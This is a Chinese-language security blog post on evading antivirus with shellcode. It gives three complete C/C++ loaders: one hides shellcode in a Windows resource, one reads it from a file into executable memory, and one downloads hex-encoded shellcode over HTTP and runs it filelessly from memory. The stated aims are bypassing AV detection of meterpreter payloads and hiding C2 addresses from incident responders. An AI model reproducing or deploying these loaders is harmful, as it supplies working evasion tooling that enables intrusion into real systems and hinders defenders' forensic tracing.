mmsrc

公告

【分享】 shellcode 分离免杀与不落地加载

来源:陌陌安全 发布时间:2020-05-25


作者述:见解有限,文章内容如有不当之处,请多多指正。


常见免杀方法有白名单、shellcode混淆加密、shellcode分离、使用冷门语言编译等。针对不同的防御情况有针对的措施。

对于不太深入免杀的同学来说,希望的还是能学习一些通用点的方法。



使用资源隐藏 shellcode


如果要隐藏 shellcode 的话可以放在资源文件中,遂有了以下尝试。


https://momo-mmsrc.oss-cn-hangzhou.aliyuncs.com/img-89ec699f-ca2b-3eb5-93c7-231955cad158.png

https://momo-mmsrc.oss-cn-hangzhou.aliyuncs.com/img-98c5a871-c63e-3d87-a247-732fac52318e.png


引入-文件类型选择所有文件,选定 shellcode 后引入


https://momo-mmsrc.oss-cn-hangzhou.aliyuncs.com/img-1562cc89-7605-303d-93b9-64220cf26edb.png


资源类型可以自定义,此处我填了 A,资源会加载到 VC 中,这里 ctrl+s保存,会在程序目录下生成一个 *.rc 的文件,文件结构大致如下,A 就是这个资源,IDR_A1 是资源对应的宏,记下后面代码中会用到。


https://momo-mmsrc.oss-cn-hangzhou.aliyuncs.com/img-fbc3bb87-0e4d-367c-9f3b-67aeb4e1f15a.png


将资源文件加入工程


https://momo-mmsrc.oss-cn-hangzhou.aliyuncs.com/img-ffd0c8e2-cf2c-3f7d-8693-4a0d9c059647.png


选择刚刚生成的 .rc 文件插入到工程中,这样就可以在代码中找到这些资源了。


https://momo-mmsrc.oss-cn-hangzhou.aliyuncs.com/img-7422766b-8b7a-322c-98fa-8119685a610f.png


一切配置好后就可以编译代码了,下面 IDR_A1 和 A 与自定义的类型相对应。

由于此时的 shellcode 已经在内存中了,所以可以直接调用。


#include 

#include 

#include "resource.h"

//close window

#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

typedef void(*void_func_ptr)(void);

int main(int argc, char* argv[]) {

   HMODULE hInstance = ::GetModuleHandle(NULL);

   HRSRC hResID = ::FindResource(hInstance, MAKEINTRESOURCE(IDR_A1), "A");

   HGLOBAL hRes = ::LoadResource(hInstance, hResID);

   LPVOID pRes = ::LockResource(hRes);

   void_func_ptr callLoc = (void_func_ptr)(pRes);

   callLoc();

   return 0;

}


世界杀毒网扫描,14%的杀软检测出(https://r.virscan.org/language/zh-cn/report/c387ba0ad9652b90099633b48583cb20),本地使用火绒可以看到是检测到了 meterpreter 的特征,而此时使用的 shellcode 未进行任何编码和混淆,经过几次加密、混淆后即可绕过更多杀软。此处仅提供一种思路,而不是尝试绕过所有杀软。


https://momo-mmsrc.oss-cn-hangzhou.aliyuncs.com/img-db8a05ea-4a94-3ed6-b510-e651b47966a6.png



shellcode加载器


在看完亮神的总结后,发现 shellcode 分离免杀是一种较为通用且免杀效果较好的免杀方法。

github 上 shellcode_lanuch 的版本较多,本文以 C++ 版本为例:

(https://github.com/clinicallyinane/shellcode_launcher)

该加载器功能较多,可自行学习使用,单就加载 shellcode,只需要 -i 参数即可,把相关函数找到:createShellcodeBuffer、fillPreambleBuffer 和 doSetupShellcodeJump。对应功能为从文件读取 shellcode 并为其创建内存中的缓冲区、计算 shellcode 地址。最后的 void_func_ptr callLoc = (void_func_ptr)(buffer)和 callLoc() 才是调用内存中的 shellcode。

将其他函数和变量删掉,精简本地文件加载 shellcode 代码如下:


#include 

#include 

#include 

#include 

#define EXTRA_SPACE     0x10000

typedef void(*void_func_ptr)(void);

unsigned char jmp32bitOffset[] = {

   0xe9                                // jmp <32-bit immediate_offset>

};

struct ConfigurationData {

   DWORD           startOff;

   DWORD            baseAddress;

   char*           shellcodeFilename;

   DWORD           shellcodeSize;

};

//return -1 on error, else #of bytes written

int doSetupShellcodeJump(unsigned char* buffer, DWORD dataOffset, DWORD shellcodeOffset, DWORD startOff) {

   int amtWritten = (sizeof(jmp32bitOffset) + sizeof(DWORD));

   DWORD jumpOffset = (EXTRA_SPACE+startOff)-dataOffset;

   //subtract the size of the jump instruction

   jumpOffset -= amtWritten;

   memcpy(buffer + dataOffset, jmp32bitOffset, sizeof(jmp32bitOffset));

   DWORD* jumpTarget = (DWORD*)(buffer+dataOffset+sizeof(jmp32bitOffset));

   //store the jump offset

   //printf("Writing 0x%08x:0x%08x\n", jumpTarget, jumpOffset);

   *jumpTarget = jumpOffset;

   return amtWritten;

}

//allocates the fills the buffer with dat

//returns -1 on failure, else 0 on success

//allocated outBuffer

int createShellcodeBuffer(struct ConfigurationData* config, unsigned char** outBuffer) {

   if(!outBuffer) {

       printf("ERROR: no output buffer specified\n");

       return -1;

  }

   HANDLE inFile = CreateFile(config->shellcodeFilename, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

   if (inFile == INVALID_HANDLE_VALUE) {

       printf("Couldn't open shellcode-containing file %s: %08x\n", config->shellcodeFilename, GetLastError());

       return -1;

  }

   config->shellcodeSize = GetFileSize(inFile, NULL);

   if(config->shellcodeSize == INVALID_FILE_SIZE) {

       printf("Couldn't get file size\n");

       return -1;

  }

   printf("%i,%i,%i",config->shellcodeSize,config->startOff,EXTRA_SPACE);

   if(config->startOff > config->shellcodeSize) {

       printf("Execution offset larger than file size!\n");

       return -1;

  }

   if(config->baseAddress) {

       config->baseAddress -= EXTRA_SPACE;

  }

   //extra space for extra pieces

   unsigned char* buffer = (unsigned char*)VirtualAlloc((PVOID) config->baseAddress, config->shellcodeSize + EXTRA_SPACE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

   if(buffer == NULL) {

       printf("Couldn't allocate %d bytes\n", config->shellcodeSize);

       return -1;

  }

   DWORD bytesRead = 0;

   if(!ReadFile(inFile, (buffer+EXTRA_SPACE), config->shellcodeSize, &bytesRead, NULL)) {

       printf("Couldn't read file bytes\n");

       return -1;

  }

   //keep an open handle to shellcode file in case the shellcode looks for the open handle

   //CloseHandle(inFile);

   if(bytesRead != config->shellcodeSize) {

       printf("Only read %d of %d bytes!\n", bytesRead, config->shellcodeSize);

       return -1;

  }

   *outBuffer = buffer;

   return 0;

}

//returns -1 on failure, else 0 on success

int fillPreambleBuffer(struct ConfigurationData* config, unsigned char* buffer, DWORD shellcodeOffset) {

   //okay, start filling in the preamble bytes

   DWORD dataOffset = 0;

   if(!config || !buffer) {

       printf("ERROR: bad args to fillPreambleBuffer\n");

  }

   //setup jump to shellcode location

   return doSetupShellcodeJump(buffer, dataOffset, shellcodeOffset, config->startOff);

}

int main(int argc, char* argv[]) {

   printf("Starting up\n");

   struct ConfigurationData config;

   memset(&config, 0, sizeof(struct ConfigurationData));

   config.shellcodeFilename = "payload86";

   unsigned char* buffer = NULL;

   if(createShellcodeBuffer(&config, &buffer) < 0) {

       printf("Creating shellcode buffer failed. Exiting\n");

       return 1;

  }

   if(fillPreambleBuffer(&config, buffer, EXTRA_SPACE) < 0) {

       printf("Filling preamble buffer failed. Exiting\n");

       return 1;

  }

   //now call the buffer - does not return

   void_func_ptr callLoc = (void_func_ptr)(buffer);

   printf("Calling file now. Loaded binary at: 0x%08x\n", (unsigned int)(buffer+EXTRA_SPACE));

   callLoc();

   return 0;

}




shellcode 不落地加载


对于 shellcode 来说是较为敏感的二进制内容,可能包含反弹的主机或执行的命令等信息,若被红方获取到,容易被分析出行为或 C2 的地址,从而被溯源到。为了避免这种情况,就出现了 shellcode 不落地加载的方法,shellcode 在内存中加载、常驻内存,进程结束时于内存中释放,避免被应急人员发现执行的核心二进制代码。

下列代码使用winhttp发起http请求获取 shellcode,在执行过程中加载执行 shellcode,引自 https://xz.aliyun.com/t/7170

#include 

#include 

#include 

#include 

#pragma comment(lib,"winhttp.lib")

#pragma comment(lib,"user32.lib")

using namespace std;

int main()

{

  DWORD dwSize = 0;

  DWORD dwDownloaded = 0;

  LPSTR pszOutBuffer = NULL;

  HINTERNET hSession = NULL,

      hConnect = NULL,

      hRequest = NULL;

  BOOL bResults = FALSE;

  hSession = WinHttpOpen(L"User-Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);

  if (hSession)

  {

      hConnect = WinHttpConnect(hSession, L"127.0.0.1", INTERNET_DEFAULT_HTTP_PORT, 0);

  }

  if (hConnect)

  {

      hRequest = WinHttpOpenRequest(hConnect, L"POST", L"qing.txt", L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);

  }

  LPCWSTR header = L"Content-type: application/x-www-form-urlencoded/r/n";

  SIZE_T len = lstrlenW(header);

  WinHttpAddRequestHeaders(hRequest, header, DWORD(len), WINHTTP_ADDREQ_FLAG_ADD);

  if (hRequest)

  {

      std::string data = "name=host&sign=xx11sad";

      const void *ss = (const char *)data.c_str();

      bResults = WinHttpSendRequest(hRequest, 0, 0, const_cast(ss), data.length(), data.length(), 0);

      ////bResults=WinHttpSendRequest(hRequest,WINHTTP_NO_ADDITIONAL_HEADERS, 0,WINHTTP_NO_REQUEST_DATA, 0, 0, 0 );

  }

  if (bResults)

  {

      bResults = WinHttpReceiveResponse(hRequest, NULL);

  }

  if (bResults)

  {

      do

      {

          // Check for available data.

          dwSize = 0;

          if (!WinHttpQueryDataAvailable(hRequest, &dwSize))

          {

              printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError());

              break;

          }

          if (!dwSize)

              break;

          pszOutBuffer = new char[dwSize + 1];

          if (!pszOutBuffer)

          {

              printf("Out of memory\n");

              break;

          }

          ZeroMemory(pszOutBuffer, dwSize + 1);

          if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))

          {

              printf("Error %u in WinHttpReadData.\n", GetLastError());

          }

          else

          {

              printf("ok");

          }

          //char ShellCode[1024];

          int code_length = strlen(pszOutBuffer);

          char* ShellCode = (char*)calloc(code_length /2 , sizeof(unsigned char));

          for (size_t count = 0; count < code_length / 2; count++){

              sscanf(pszOutBuffer, "%2hhx", &ShellCode[count]);

              pszOutBuffer += 2;

          }

          printf("%s", ShellCode);

          //strcpy(ShellCode,pszOutBuffer);

          void *exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

          memcpy(exec, ShellCode, sizeof ShellCode);

          ((void(*)())exec)();

          delete[] pszOutBuffer;

          if (!dwDownloaded)

              break;

      } while (dwSize > 0);

  }

  if (hRequest) WinHttpCloseHandle(hRequest);

  if (hConnect) WinHttpCloseHandle(hConnect);

  if (hSession) WinHttpCloseHandle(hSession);

  system("pause");

  return 0;

}


Reference:

1. https://github.com/Micropoor/Micro8/blob/master/payload%E5%88%86%E7%A6%BB%E5%85%8D%E6%9D%80%E6%80%9D%E8%B7%AF%EF%BC%88%E7%AC%AC%E5%9B%9B%E5%8D%81%E4%B8%83%E8%AF%BE%EF%BC%89.pdf

2. https://xz.aliyun.com/t/7170



https://momo-mmsrc.oss-cn-hangzhou.aliyuncs.com/img-2719a415-ea15-3285-8127-b92d5b2a7e98.png